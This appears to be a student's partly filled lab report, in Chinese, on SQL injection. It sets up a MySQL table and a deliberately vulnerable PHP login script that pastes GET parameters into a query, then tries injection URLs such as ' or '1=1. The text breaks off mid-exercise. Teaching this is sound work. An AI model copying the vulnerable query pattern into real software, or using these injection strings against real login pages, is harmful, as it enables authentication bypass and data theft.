信息安全实验4--报告模板

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

阳光学院计算机科学与技术系

信息安全实验报告

专业:计算机科学与技术

年级:2015级

组别:1B

学号:15100273

姓名:邹驼玲

2017年月日

实验4 数据库安全

练习一、 SQL注入

【实验目的】

了解SQL注入的基本原理

掌握PHP脚本访问MySQL数据库的基本方法

掌握程序设计中避免出现SQL注入漏洞的基本方法

【实验人数】

每组1人

【系统环境】

Linux

【网络环境】

交换网络结构

【实验类型】

设计型

【实验步骤】

「注」实验步骤中涉及到的mysql数据库操作命令和php脚本源码,均在/opt/ExpNIC/HostSec-Lab/ Projects目录中提供。

一.PHP访问MySQL简单实例

1.创建隶属test数据库的user表

(1) 启动mysql服务

①在控制台中输入如下命令启动mysql服务。缺省状态下root用户密码为空。

service mysqld start

②可通过如下命令查看mysql服务是否启动成功。

service mysqld status

(2) 创建user数据库表

在控制台中输入mysql,进入mysql客户端控制台(mysql>)。

①选择工作数据库test(缺少状态下,test数据库已被创建)。

use test;

②创建user数据库表

CREATE TABLE user(userid int(11) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL DEFAULT "", password varchar(20) NOT NULL DEFAULT "", PRIMARY KEY(userid))TYPE=MyISAM

AUTO_INCREMENT=3;

③插入两条数据信息

INSERT INTO user VALUES(1, "angel", "mypass");

INSERT INTO user VALUES(2, "lblis", "yourpass");

④查看数据库表

select * from user;

2.编写PHP脚本查询user数据库表

编写access.php脚本,内容如下:

$servername = "localhost" # 定义变量 MySQL服务器名称

$dbusername = "root"; # 访问MySQL数据库的用户名称

$dbpassword = ""; # root用户密码,默认为空

$dbname = "test"; # 工作数据库

$username = $_GET['username']; # 利用HTTP的GET方法,从URL中获取username参数值$password = $_GET['password']; # 获取password参数值

## 连接到MySQL服务器

$dbcnx = mysql_connect($servername, $dbusername, $dbpassword);

{

if( !$dbcnx )

{

echo( "连接MySQL服务器失败".mysql_error() );

exit();

}}

## 选择工作数据库

if( !mysql_select_db($dbname, $dbcnx) )

{

echo( "激活$dbname数据库失败".mysql_error() );

exit();

}

## SQL查询

$sql_select = "SELECT * FROM user WHERE username='$username' AND password='$password'"; $result = mysql_query($sql_select, $dbcnx);

$userinfo = mysql_fetch_array($result);

if( empty($userinfo) )

{

echo( "登录失败" );

}

else

{

echo( "登录成功" );

}

echo "

SQL查询: $sql_select

";

?>

从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。

单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交:

http://本机IP/access.php?username=angel&password=mypass

Web页面会提示“登录成功”。

写出此时PHP脚本中具体的SQL查询语句:

SELECT*FROM user WHERE username=’angel’AND password=’mypass’

3.实施SQL注入

(1) 在URL地址栏中提交:

http://本机IP/access.php?username=angel' or 1=1

注入是否成功?否。

写出此时PHP脚本中具体的SQL查询语句:

SELECT*FROM user WHERE username=’angel’or 1=1’AND password=”

(2) 在URL地址栏中提交:

http://本机IP/access.php?username=angel' or '1=1

注入是否成功?是。

写出此时PHP脚本中具体的SQL查询语句:

相关文档
最新文档